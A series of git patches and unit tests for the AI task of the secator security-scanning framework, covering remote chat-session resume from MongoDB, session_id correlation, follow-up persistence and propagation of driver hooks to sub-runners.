= getattr(query_engine.backend, "name", "") + if backend_name not in ("mongodb", "api"): + yield Warning( + message=f'interactive="remote" but query engine resolved to "{backend_name}" backend ' + '(expected mongodb/api). The web answer channel will not work — check that the ' + '`mongodb` driver is in the runner context.' + ) + + # Look for prior `_type:"ai"` docs for this session + try: + prior = query_engine.search({"_type": "ai", "session_id": self.session_id}, limit=1) + except Exception as e: # noqa: BLE001 - backend errors must not crash the worker + self.debug(f'remote resume: failed to query prior docs: {e}', sub='llm') + prior = None + + if not prior: + # Fresh conversation: nothing to restore, fall through to normal start. + return False + + # Resolve the user's new prompt (the message that triggered this respawn) + self.prompt = self.run_opts.get("prompt", "") + if self.prompt and Path(self.prompt).is_file(): + self.prompt = Path(self.prompt).read_text().strip() + + # Session metadata + if not self.session_name: + self.session_name = (self.prompt[:80] + '...') if self.prompt and len(self.prompt) > 80 else self.prompt + self.context["session_name"] = self.session_name + + # Detect mode (defaults to chat) and build the system prompt + tools + self._detect_mode() + self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) + + # Rebuild history from the channel docs (text-only; see restore_history_from_db) + self.history = restore_history_from_db( + self.session_id, query_engine, model=self.model, + encryptor=self.encryptor, system_prompt=self.system_prompt) + self.history.model = self.model + + # Append the new user message that respawned the conversation + if self.prompt: + self.history.add_user(maybe_encrypt(self.prompt, self.encryptor)) + yield Ai(content=self.prompt, ai_type="prompt", session_id=self.session_id) + + yield Info(message=f"Resumed session from DB ({len(self.history.messages)} messages), model: {self.model}, mode: {self.mode}") # noqa: E501 + yield from self._run_loop() + return True + + def _save_history(self): + """Persist chat history to the local reports folder, unless on the remote path. + + For the remote (web) channel the workspace Mongo `_type:"ai"` docs are the + source of truth, so the local `history.json` write is skipped. + """ + if self.interactive == "remote": + return + save_history(self.history, self.reports_folder, debug_fn=self.debug) + # ------------------------------------------------------------------------- # _run_loop: main LLM interaction loop # ------------------------------------------------------------------------- @@ -286,7 +378,7 @@ def _run_loop(self) -> Generator: yield Warning(message="LLM returned empty response") if empty_streak >= 3: yield Error(message="3 consecutive empty responses - the model may not support tool calling. Stopping.") - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return continue @@ -343,7 +435,7 @@ def _run_loop(self) -> Generator: # Stop tool → save and exit if stop_reason is not None: - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return # Follow-up / content-only / max_iter → prompt user @@ -356,7 +448,7 @@ def _run_loop(self) -> Generator: result = self._prompt_and_redetect(follow_up_choices or []) if result is None: - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return yield from result continue @@ -370,7 +462,7 @@ def _run_loop(self) -> Generator: yield Warning(message="Interrupted by user.") result = self._prompt_and_redetect([]) if result is None: - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return yield from result continue @@ -384,7 +476,7 @@ def _run_loop(self) -> Generator: elif isinstance(e, litellm.AuthenticationError): yield Error(message=str(e)) yield Error(message='Please set a valid API key with `secator config set addons.ai.api_key `') - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return elif isinstance(e, litellm.APIConnectionError) or ( isinstance(e, litellm.InternalServerError) and 'connection error' in str(e).lower() @@ -395,13 +487,13 @@ def _run_loop(self) -> Generator: # to avoid swallowing unrelated upstream 500 errors. yield Error(message=f"Cannot connect to model '{self.model}': {e}") yield Error(message='Check api_base and connectivity: `secator config set addons.ai.api_base `') - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return yield Error.from_exception(e) - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() yield Info(message=f"Reached max iterations ({iteration}/{self.max_iterations})") # ------------------------------------------------------------------------- @@ -455,8 +547,11 @@ def _init_options(self): workspace=self.reports_folder or "" ) - # Create interactivity backend - self.session_id = self.session_name or str(self.id) + # Create interactivity backend. + # For the remote (web) channel, the UI generates a stable session_id and + # reuses it verbatim on respawn (passed in run_opts.context.session_id); + # prefer it so a respawned task can find its prior `_type:"ai"` docs. + self.session_id = self.passed_context.get("session_id") or self.session_name or str(self.id) self.backend = create_backend(self.interactive, timeout=CONFIG.addons.ai.user_response_timeout) # Auto-approve workspace targets diff --git a/tests/unit/test_ai_session.py b/tests/unit/test_ai_session.py new file mode 100644 index 000000000..b371213d8 --- /dev/null +++ b/tests/unit/test_ai_session.py @@ -0,0 +1,188 @@ +"""Tests for secator.ai.session restore_history_from_db + remote resume branch.""" +import tempfile +import unittest +from unittest.mock import MagicMock, patch + + +class TestRestoreHistoryFromDB(unittest.TestCase): + """Verify restore_history_from_db rebuilds an equivalent ChatHistory from Mongo docs.""" + + def _docs(self): + # Intentionally out of timestamp order to verify sorting. + return [ + {"_type": "ai", "ai_type": "response", "content": "Hi, how can I help?", "_timestamp": 2}, + {"_type": "ai", "ai_type": "prompt", "content": "Hello", "_timestamp": 1}, + {"_type": "ai", "ai_type": "shell", "content": "nmap -p- host", "_timestamp": 3}, + {"_type": "ai", "ai_type": "prompt", "content": "Scan the target", "_timestamp": 4}, + {"_type": "ai", "ai_type": "follow_up", "content": "What next?", "_timestamp": 5}, + {"_type": "ai", "ai_type": "response", "content": "Found 2 open ports.", "_timestamp": 6}, + ] + + def test_rebuilds_order_roles_and_system(self): + from secator.ai.session import restore_history_from_db + engine = MagicMock() + engine.search.return_value = self._docs() + + history = restore_history_from_db( + "session1", engine, model="gpt-4o", system_prompt="SYSTEM PROMPT") + + # Query was scoped to the session + engine.search.assert_called_once_with({"_type": "ai", "session_id": "session1"}) + + # System prompt set, conversation turns in timestamp order, non-turn docs skipped + self.assertEqual(history.messages, [ + {"role": "system", "content": "SYSTEM PROMPT"}, + {"role": "user", "content": "Hello"}, + {"role": "assistant", "content": "Hi, how can I help?"}, + {"role": "user", "content": "Scan the target"}, + {"role": "assistant", "content": "Found 2 open ports."}, + ]) + self.assertEqual(history.model, "gpt-4o") + + def test_no_prior_docs_returns_system_only(self): + from secator.ai.session import restore_history_from_db + engine = MagicMock() + engine.search.return_value = [] + + history = restore_history_from_db("s2", engine, system_prompt="SYS") + self.assertEqual(history.messages, [{"role": "system", "content": "SYS"}]) + + def test_no_system_prompt_yields_empty_when_no_docs(self): + from secator.ai.session import restore_history_from_db + engine = MagicMock() + engine.search.return_value = [] + + history = restore_history_from_db("s3", engine) + self.assertEqual(history.messages, []) + + def test_empty_content_docs_skipped(self): + from secator.ai.session import restore_history_from_db + engine = MagicMock() + engine.search.return_value = [ + {"ai_type": "prompt", "content": "", "_timestamp": 1}, + {"ai_type": "response", "content": "Real answer", "_timestamp": 2}, + ] + history = restore_history_from_db("s4", engine) + self.assertEqual(history.messages, [{"role": "assistant", "content": "Real answer"}]) + + def test_search_failure_returns_system_only(self): + from secator.ai.session import restore_history_from_db + engine = MagicMock() + engine.search.side_effect = RuntimeError("backend down") + + history = restore_history_from_db("s5", engine, system_prompt="SYS") + # Failure must not crash; returns just the system prompt + self.assertEqual(history.messages, [{"role": "system", "content": "SYS"}]) + + def test_encryptor_reencrypts_restored_turns(self): + from secator.ai.session import restore_history_from_db + engine = MagicMock() + engine.search.return_value = [ + {"ai_type": "prompt", "content": "scan 10.0.0.1", "_timestamp": 1}, + ] + encryptor = MagicMock() + encryptor.encrypt.side_effect = lambda t: f"ENC({t})" + + history = restore_history_from_db("s6", engine, encryptor=encryptor) + self.assertEqual(history.messages, [{"role": "user", "content": "ENC(scan 10.0.0.1)"}]) + + +class TestRemoteResumeBranch(unittest.TestCase): + """Verify the yielder remote-resume branch picks Mongo restore vs fresh start.""" + + def _make_task(self, prior_docs, backend_name="mongodb"): + from secator.tasks.ai import ai + + task = ai.__new__(ai) + # Minimal attributes the branch touches + task.interactive = "remote" + task.session_id = "sess-123" + task.session_name = "" + task.mode = "chat" + task.model = "gpt-4o" + task.encryptor = None + task.context = {"workspace_id": "ws1", "drivers": ["mongodb"]} + task.run_opts = {"prompt": "Tell me about this workspace"} + # An existing dir short-circuits the reports_folder property (no dir creation) + task._reports_folder = tempfile.mkdtemp(prefix="secator-test-") + task.backend = MagicMock() + task.debug = MagicMock() + task.history = MagicMock() + + # Stub query engine + engine = MagicMock() + engine.backend = MagicMock() + engine.backend.name = backend_name + + def _search(query, limit=0): + if query.get("_type") == "ai" and "session_id" in query: + return prior_docs + return [] + engine.search.side_effect = _search + task._get_query_engine = MagicMock(return_value=engine) + return task, engine + + def test_fresh_when_no_prior_docs(self): + task, engine = self._make_task(prior_docs=[]) + # Generator return value is the StopIteration value. + gen = task._maybe_resume_remote() + restored = None + try: + while True: + next(gen) + except StopIteration as e: + restored = e.value + self.assertFalse(restored) + + @patch("secator.tasks.ai.restore_history_from_db") + @patch("secator.tasks.ai.get_system_prompt", return_value="SYS") + def test_restores_when_prior_docs(self, mock_sys, mock_restore): + mock_history = MagicMock() + mock_history.messages = [{"role": "system", "content": "SYS"}] + mock_restore.return_value = mock_history + + task, engine = self._make_task(prior_docs=[{"ai_type": "prompt", "content": "hi"}]) + # Stub the heavy methods the branch calls + task._detect_mode = MagicMock() + task._run_loop = MagicMock(return_value=iter([])) + + gen = task._maybe_resume_remote() + restored = None + try: + while True: + next(gen) + except StopIteration as e: + restored = e.value + + self.assertTrue(restored) + mock_restore.assert_called_once() + # Restored from Mongo via the resolved query engine + _, kwargs = mock_restore.call_args + self.assertEqual(mock_restore.call_args[0][0], "sess-123") + task._run_loop.assert_called_once() + + @patch("secator.tasks.ai.restore_history_from_db") + @patch("secator.tasks.ai.get_system_prompt", return_value="SYS") + def test_warns_on_non_mongo_backend(self, mock_sys, mock_restore): + from secator.output_types import Warning as WarningType + mock_restore.return_value = MagicMock(messages=[]) + + task, engine = self._make_task( + prior_docs=[{"ai_type": "prompt", "content": "hi"}], backend_name="local") + task._detect_mode = MagicMock() + task._run_loop = MagicMock(return_value=iter([])) + + items = [] + gen = task._maybe_resume_remote() + try: + while True: + items.append(next(gen)) + except StopIteration: + pass + + warnings = [i for i in items if isinstance(i, WarningType)] + self.assertTrue(any("remote" in w.message for w in warnings)) + + +if __name__ == "__main__": + unittest.main() From 3a8f7909dad7debb220b3ab47a5a51146d40cc10 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 09:07:15 +0200 Subject: [PATCH 024/129] fix(ai): stamp session_id on every Ai item for the remote-channel transcript MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The web UI correlates an AI chat conversation by session_id (across respawns), but only the resume-prompt and follow_up items set it — the prompt/response/ token_usage/chat_compacted message items did not, so they persisted to Mongo without session_id and the UI's {_type:"ai", session_id} query returned nothing (empty transcript despite the task running fine). Wrap yielder to stamp session_id on every Ai item centrally (self.session_id is set in _init_options before the first yield). Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/tasks/ai.py | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 93dd4be4b..bededda96 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -119,6 +119,17 @@ def requires_local_execution(cls, inputs, run_opts): # ------------------------------------------------------------------------- def yielder(self) -> Generator: + """Stamp every Ai item with the session_id so the remote-channel transcript + is queryable by session_id. The web UI correlates the whole conversation + (across respawns) by session_id, so a message item without it is invisible. + _init_options() sets self.session_id before the first yield, so the stamp + is always valid here.""" + for _item in self._yielder(): + if isinstance(_item, Ai) and not getattr(_item, "session_id", ""): + _item.session_id = self.session_id + yield _item + + def _yielder(self) -> Generator: """Execute AI task.""" # Addon / setup check if self.inputs == ['setup']: From 9db08093a8263160e6a8653942bdb0a1077f6f90 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 10:32:06 +0200 Subject: [PATCH 025/129] fix(ai): read session_id from self.context (dispatch drops run_opts.context) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The web UI's session_id arrives on the runner context, but the Task dispatcher sends self.context (not run_opts['context']) to the worker and pops run_opts['context'] — so in the worker run_opts.context is empty and session_id fell back to the prompt label, never matching the UI's UUID (empty transcript). Prefer self.context for session_id. Pairs with secator-api adding session_id to the RunnerContext model so it survives validation into self.context. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/tasks/ai.py | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index bededda96..6592af41e 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -560,9 +560,17 @@ def _init_options(self): # Create interactivity backend. # For the remote (web) channel, the UI generates a stable session_id and - # reuses it verbatim on respawn (passed in run_opts.context.session_id); - # prefer it so a respawned task can find its prior `_type:"ai"` docs. - self.session_id = self.passed_context.get("session_id") or self.session_name or str(self.id) + # reuses it verbatim on respawn so a respawned task finds its prior + # `_type:"ai"` docs. It arrives on the runner context (self.context) — + # the dispatcher sends self.context to the worker (task.py build_celery) + # and pops run_opts['context'], so self.context is authoritative here; + # run_opts['context'] only carries it for local/sync runs. + self.session_id = ( + self.passed_context.get("session_id") + or (self.context or {}).get("session_id") + or self.session_name + or str(self.id) + ) self.backend = create_backend(self.interactive, timeout=CONFIG.addons.ai.user_response_timeout) # Auto-approve workspace targets From 5093916b663036acdc72e31352554530cf8d8da0 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 11:38:49 +0200 Subject: [PATCH 026/129] fix(ai): correlate chat channel by _context.session_id (top-level was empty) Persisted _type:"ai" docs had session_id="" but _context.session_id=: the runner auto-stamps item._context = self.context, so _context.session_id is reliably present, while the top-level session_id field never landed. Query _context.session_id in _poll_for_answer, the timeout update, restore_history_from_db and the resume check; drop the now-pointless yielder session_id stamp. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/interactivity.py | 7 +++++-- secator/ai/session.py | 2 +- secator/tasks/ai.py | 13 +------------ 3 files changed, 7 insertions(+), 15 deletions(-) diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index 7744ae2e1..98c2d7d5d 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -142,7 +142,10 @@ def _poll_for_answer(self, session_id, prompt_type): results = self.query_engine.search({ "_type": "ai", "ai_type": prompt_type, - "session_id": session_id, + # Correlate by the runner context's session_id: it's auto-stamped on + # every persisted item (item._context = self.context), so it's always + # present — unlike the top-level session_id field. + "_context.session_id": session_id, "status": "answered" }, limit=1) if results: @@ -151,7 +154,7 @@ def _poll_for_answer(self, session_id, prompt_type): elapsed += self.poll_interval # Timeout: update finding status self.query_engine.update( - {"_type": "ai", "ai_type": prompt_type, "session_id": session_id, "status": "pending"}, + {"_type": "ai", "ai_type": prompt_type, "_context.session_id": session_id, "status": "pending"}, {"$set": {"status": "timed_out"}} ) return None diff --git a/secator/ai/session.py b/secator/ai/session.py index ea1ffae48..3af15fe63 100644 --- a/secator/ai/session.py +++ b/secator/ai/session.py @@ -222,7 +222,7 @@ def restore_history_from_db(session_id, query_engine, model=None, encryptor=None history.set_system(maybe_encrypt(system_prompt, encryptor)) try: - docs = query_engine.search({'_type': 'ai', 'session_id': session_id}) + docs = query_engine.search({'_type': 'ai', '_context.session_id': session_id}) except Exception as e: # noqa: BLE001 - backend errors must not crash the worker console.print(Warning(message=f'Failed to restore session from DB: {e}')) return history diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 6592af41e..05c161595 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -119,17 +119,6 @@ def requires_local_execution(cls, inputs, run_opts): # ------------------------------------------------------------------------- def yielder(self) -> Generator: - """Stamp every Ai item with the session_id so the remote-channel transcript - is queryable by session_id. The web UI correlates the whole conversation - (across respawns) by session_id, so a message item without it is invisible. - _init_options() sets self.session_id before the first yield, so the stamp - is always valid here.""" - for _item in self._yielder(): - if isinstance(_item, Ai) and not getattr(_item, "session_id", ""): - _item.session_id = self.session_id - yield _item - - def _yielder(self) -> Generator: """Execute AI task.""" # Addon / setup check if self.inputs == ['setup']: @@ -264,7 +253,7 @@ def _maybe_resume_remote(self): # Look for prior `_type:"ai"` docs for this session try: - prior = query_engine.search({"_type": "ai", "session_id": self.session_id}, limit=1) + prior = query_engine.search({"_type": "ai", "_context.session_id": self.session_id}, limit=1) except Exception as e: # noqa: BLE001 - backend errors must not crash the worker self.debug(f'remote resume: failed to query prior docs: {e}', sub='llm') prior = None From 172ba85ae2e9e961a022a4b0d0345aad2e8da20d Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 15:16:52 +0200 Subject: [PATCH 027/129] fix(ai): make remote follow-up doc renderable (status=pending + top-level choices) In the web AI chat, when the worker hit a follow_up the persisted `_type:"ai"` doc had `status:""` and empty top-level `choices`, so the UI (which gates on `status=="pending"` and reads `m.choices`) stayed stuck on "thinking" with no question/buttons. Two root causes: 1. `_handle_follow_up` (ai/actions.py) stored choices ONLY in `extra_data["choices"]`, never on the top-level `Ai.choices` field the UI reads -> persisted `choices: []`. Now populate both. 2. `_dispatch_and_collect` (tasks/ai.py) persisted the follow_up Ai via `add_result()` (status="") BEFORE the main loop mutated it to `status="pending"`. Since `add_result` dedupes by `_uuid`, the later re-yield could never re-persist the pending state. Now, for a RemoteBackend run, stamp `status="pending"` + top-level `choices` + `session_id` on the single Ai BEFORE the one `add_result`, so the one persisted doc is renderable. The redundant re-stamp/yield in the main loop is removed. Local/CLI follow-up is untouched (remote-only branch). No secator-ui change needed: the doc now carries top-level `choices` and `status=="pending"`. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/actions.py | 5 ++- secator/tasks/ai.py | 26 ++++++++---- tests/unit/test_ai_actions.py | 3 ++ tests/unit/test_ai_loop.py | 76 +++++++++++++++++++++++++++++++++++ 4 files changed, 102 insertions(+), 8 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 63c010d2c..7c880eaac 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -444,7 +444,10 @@ def _handle_follow_up(action: Dict, ctx: ActionContext) -> Generator: context = _get_result_context(action, ctx) reason = action.get("reason", "completed") choices = action.get("choices", []) - yield Ai(content=reason, ai_type="follow_up", extra_data={"choices": choices}, _context=context) + # Store choices on the top-level `choices` field (what the web UI reads) AND in + # extra_data (back-compat). Without the top-level field, the persisted follow-up + # doc has `choices: []` and the UI renders no choice buttons. + yield Ai(content=reason, ai_type="follow_up", choices=choices, extra_data={"choices": choices}, _context=context) def _handle_stop(action: Dict, ctx: ActionContext) -> Generator: diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 05c161595..242a900e5 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -440,11 +440,11 @@ def _run_loop(self) -> Generator: # Follow-up / content-only / max_iter → prompt user if follow_up_choices is not None or not tool_calls or iteration == self.max_iterations: - # For remote follow-up, yield the pending Ai so frontend can show it - if follow_up_ai and isinstance(self.backend, RemoteBackend): - follow_up_ai.status = "pending" - follow_up_ai.session_id = self.session_id - yield follow_up_ai + # Remote follow-up: the pending Ai (status="pending" + top-level choices + + # session_id) was already stamped and persisted as a single doc in + # _dispatch_and_collect (add_result dedupes by _uuid, so persistence can + # only happen once). Nothing to re-yield here — the frontend reads the + # persisted doc. result = self._prompt_and_redetect(follow_up_choices or []) if result is None: @@ -811,12 +811,24 @@ def _dispatch_and_collect(self, actions, ctx): is_from_subagent = isinstance(result, OutputType) and bool(result._context.get('subagent')) if isinstance(result, Ai): - self.add_result(result, print=not is_from_subagent) if result.ai_type == "follow_up": follow_up_ai = result follow_up_choices = result.choices or (result.extra_data or {}).get("choices", []) + # Persist the follow-up doc in its FINAL renderable state. add_result() + # dedupes by _uuid, so once persisted here it can never be re-persisted + # (the later `yield follow_up_ai` in the main loop is dropped). For a + # remote run, stamp status="pending" + top-level choices + session_id + # BEFORE the single add_result, so the one persisted doc is what the web + # UI needs: status=="pending" (clears "thinking") and non-empty choices. + if isinstance(self.backend, RemoteBackend): + follow_up_ai.status = "pending" + follow_up_ai.session_id = self.session_id + if not follow_up_ai.choices and follow_up_choices: + follow_up_ai.choices = list(follow_up_choices) + self.add_result(result, print=not is_from_subagent) continue - elif result.ai_type == "stopped": + self.add_result(result, print=not is_from_subagent) + if result.ai_type == "stopped": stop_reason = result.content continue if result.ai_type not in ("shell_output", "response"): diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 05ff6c99b..1d1122a6b 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -119,6 +119,9 @@ def test_follow_up_with_choices(self): self.assertEqual(results[0].ai_type, 'follow_up') self.assertEqual(results[0].content, 'What next?') self.assertEqual(results[0].extra_data['choices'], ['Scan deeper', 'Try SQL injection']) + # Choices must also land on the top-level `choices` field (what the web UI reads), + # not only in extra_data — otherwise the persisted follow-up doc renders no buttons. + self.assertEqual(results[0].choices, ['Scan deeper', 'Try SQL injection']) @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') diff --git a/tests/unit/test_ai_loop.py b/tests/unit/test_ai_loop.py index 39e179cfd..bbc3a0cd1 100644 --- a/tests/unit/test_ai_loop.py +++ b/tests/unit/test_ai_loop.py @@ -307,6 +307,82 @@ def test_stop_yields_ai_stopped(self): self.assertIn("completed", ai_results[0].content) +# ============================================================================= +# UNIT TESTS: Remote follow-up persistence (status + top-level choices) +# ============================================================================= + +@unittest.skipUnless(HAS_AI, "ai addon required") +class TestRemoteFollowUpPersistence(unittest.TestCase): + """In remote mode, the single persisted follow-up doc must be renderable: + status=="pending" + non-empty top-level `choices` (what the web UI reads).""" + + def _run_dispatch(self, backend): + """Drive the real ai._dispatch_and_collect with a minimal fake self. + + Returns (yielded_items, persisted_items) where persisted_items are what + add_result() received (i.e. what the mongodb on_item hook would persist). + """ + from secator.tasks.ai import ai as AiTask + + choices = ["Fuzz parameters", "Run nuclei", "Deep crawl"] + follow_up = Ai( + content="Presenting actionable next steps", + ai_type="follow_up", + extra_data={"choices": choices}, + _context={"tool_call_id": "tc_fu", "tool_call_name": "follow_up"}, + ) + + persisted = [] + + class _FakeHistory: + def get_action_budget(self, model): + return 10000 + + def add_tool_result(self, *a, **k): + pass + + fake_self = MagicMock() + fake_self.backend = backend + fake_self.session_id = "sess-123" + fake_self.model = "test-model" + fake_self.reports_folder = None + fake_self.history = _FakeHistory() + fake_self.add_result = lambda item, **kw: persisted.append(item) + + ctx = MagicMock() + ctx.results = [] + + def _fake_dispatch_action(action, c): + yield follow_up + + with patch("secator.tasks.ai.dispatch_action", _fake_dispatch_action): + gen = AiTask._dispatch_and_collect(fake_self, [{"tool_call_id": "tc_fu"}], ctx) + yielded = list(gen) + return yielded, persisted, follow_up + + def test_remote_follow_up_persisted_pending_with_choices(self): + backend = RemoteBackend(timeout=60, query_engine=MagicMock()) + yielded, persisted, follow_up = self._run_dispatch(backend) + + # Exactly one follow_up Ai is persisted (no duplicate display + pending docs). + fu_docs = [p for p in persisted if isinstance(p, Ai) and p.ai_type == "follow_up"] + self.assertEqual(len(fu_docs), 1) + doc = fu_docs[0] + self.assertEqual(doc.status, "pending") + self.assertEqual(doc.choices, ["Fuzz parameters", "Run nuclei", "Deep crawl"]) + self.assertEqual(doc.session_id, "sess-123") + # Same object → single doc by _uuid. + self.assertIs(doc, follow_up) + + def test_local_follow_up_not_stamped_pending(self): + """CLI/local mode must NOT stamp status=pending (drives the TUI menu directly).""" + backend = CLIBackend() + yielded, persisted, follow_up = self._run_dispatch(backend) + fu_docs = [p for p in persisted if isinstance(p, Ai) and p.ai_type == "follow_up"] + self.assertEqual(len(fu_docs), 1) + self.assertNotEqual(fu_docs[0].status, "pending") + + # ============================================================================= # UNIT TESTS: Backend and tool schema behavior # ============================================================================= From 1ed552a9aa3aeab4caeb6c3b7b74e0783e705ba4 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 17:11:43 +0200 Subject: [PATCH 028/129] fix(ai): persist sub-runner results to workspace + emit runner id MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The ai task dispatches task/workflow sub-runners in-process and runs them synchronously. The runner framework only re-registers driver hooks (mongodb/api) from context['drivers'] on the pickle path (__setstate__, used by Celery workers) — a sync sub-runner never hits that path. So the sub-runner inherited the ai task's workspace_id/drivers in its context but registered no driver hooks: its update_runner/update_finding hooks never fired, its runner doc + findings were never persisted, and the sub-runs were absent from the workspace History. Build the hooks dict from context['drivers'] (mirroring the CLI entrypoint in cli_helper) and pass hooks= to each dispatched sub-runner, so its results are workspace-scoped and appear in History exactly like a normal runner. Also emit the created runner's id on the action Ai item (extra_data.runner_id + extra_data.runner_type) so the UI can link the action to a RunnerCard. The Ai item is now emitted after the runner is constructed (its on_init hook stamps the id into context), and is emitted even in batch/silent mode so the action doc is always persisted. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/actions.py | 79 +++++++++++++++++++++++++++++++++-- tests/unit/test_ai_actions.py | 75 ++++++++++++++++++++++++++++++++- 2 files changed, 149 insertions(+), 5 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 7c880eaac..aa46f6009 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -70,6 +70,53 @@ def _sanitized_env() -> dict: and "KEY" not in k and "SECRET" not in k and "TOKEN" not in k and "PASSWORD" not in k} +def _build_hooks_from_context(context: Dict) -> Dict: + """Build the runner hooks dict from ``context['drivers']``. + + Sub-runners dispatched by the ai task are constructed in-process and run + synchronously, so the framework's pickle path (``__setstate__``, which + re-registers driver hooks from ``context['drivers']``) never runs for them. + Without this, a sub-runner inherits the ai task's ``workspace_id`` / + ``drivers`` in its context but registers *no* driver hooks — so its + ``mongodb``/``api`` ``update_runner``/``update_finding`` hooks never fire and + its runner doc + findings are never persisted to the workspace. The result: + sub-runs are absent from the workspace History. + + This mirrors the normal CLI entrypoint (``cli_helper._run``): import each + driver's ``secator.hooks..HOOKS`` and ``deep_merge_dicts`` them into a + single class-keyed dict (keyed by ``Scan``/``Workflow``/``Task``). The dict is + returned raw (not flattened) because ``Task``/``Workflow`` forward + ``self._hooks.get(Task, {})`` down to their command/task signatures. + + Args: + context: Runner context dict (expects ``drivers`` list). + + Returns: + dict: Merged hooks dict suitable for ``runner_cls(..., hooks=hooks)``. + """ + from secator.loader import discover_external_drivers, get_available_drivers, order_drivers + from secator.utils import import_dynamic, deep_merge_dicts + + drivers = list(context.get('drivers', [])) + if not drivers: + return {} + discover_external_drivers() + # Order by canonical priority so authoritative backends (e.g. mongodb) register + # their hooks before relay drivers (e.g. api) — same ordering as __setstate__. + drivers = order_drivers(drivers) + supported = set(get_available_drivers()) + hooks_list = [] + for driver in drivers: + if driver not in supported: + continue + driver_hooks = import_dynamic(f'secator.hooks.{driver}', 'HOOKS') + if driver_hooks: + hooks_list.append(driver_hooks) + if not hooks_list: + return {} + return deep_merge_dicts(*hooks_list) + + def _build_action_display(action: Dict) -> str: """Build a display string for the action being checked. @@ -292,9 +339,6 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator yield Info(message=f"[DRY RUN] Would run {runner_type}: {name} on {targets}", _context=context) return - if not ctx.silent: - yield Ai(content=name, ai_type=runner_type, extra_data={"targets": targets, "opts": opts}, _context=context) - run_opts = { "print_item": not ctx.silent, "print_line": ctx.verbose and not ctx.silent, @@ -315,11 +359,38 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator context["task_chunk_id"] = str(uuid.uuid4()) if ctx.subagent: context["subagent"] = ctx.context.get("subagent", True) + + # Propagate the ai task's driver hooks (mongodb/api) into the sub-runner. + # The context already carries workspace_id/workspace_name/drivers (see + # _get_result_context), but a sync sub-runner never goes through the pickle + # path that re-registers driver hooks — so without this its results would + # persist with no workspace scope and never appear in the workspace History. + hooks = _build_hooks_from_context(context) try: - runner = runner_cls(tpl, targets, run_opts=run_opts, context=context) + runner = runner_cls(tpl, targets, run_opts=run_opts, hooks=hooks, context=context) except TaskNotFoundError as e: yield Error(message=str(e), _context=context) return + + # Emit the action Ai item now that the runner exists: its on_init hook has + # stamped the runner id into context, so we can surface it on the item + # (extra_data.runner_id/runner_type) for the UI to link to a RunnerCard. + # Emit even when silent (batch mode): silent only suppresses live console + # chatter, but the action doc must still be yielded so it is persisted and + # the UI can render a RunnerCard for it. + runner_id = runner.id or context.get(f"{runner_type}_id", "") + yield Ai( + content=name, + ai_type=runner_type, + extra_data={ + "targets": targets, + "opts": opts, + "runner_id": runner_id, + "runner_type": runner_type, + }, + _context=context, + ) + yield from runner # Auto-allow reading from the spawned runner's reports folder diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 1d1122a6b..4449f8c47 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -9,7 +9,8 @@ if ADDONS_ENABLED['ai']: from secator.ai.actions import ( ActionContext, dispatch_action, _handle_follow_up, _handle_shell, - _handle_query, _handle_add_finding, _run_runner, _decrypt_dict + _handle_query, _handle_add_finding, _run_runner, _decrypt_dict, + _build_hooks_from_context ) from secator.output_types import Ai, Error, Info, Warning, Vulnerability, Url @@ 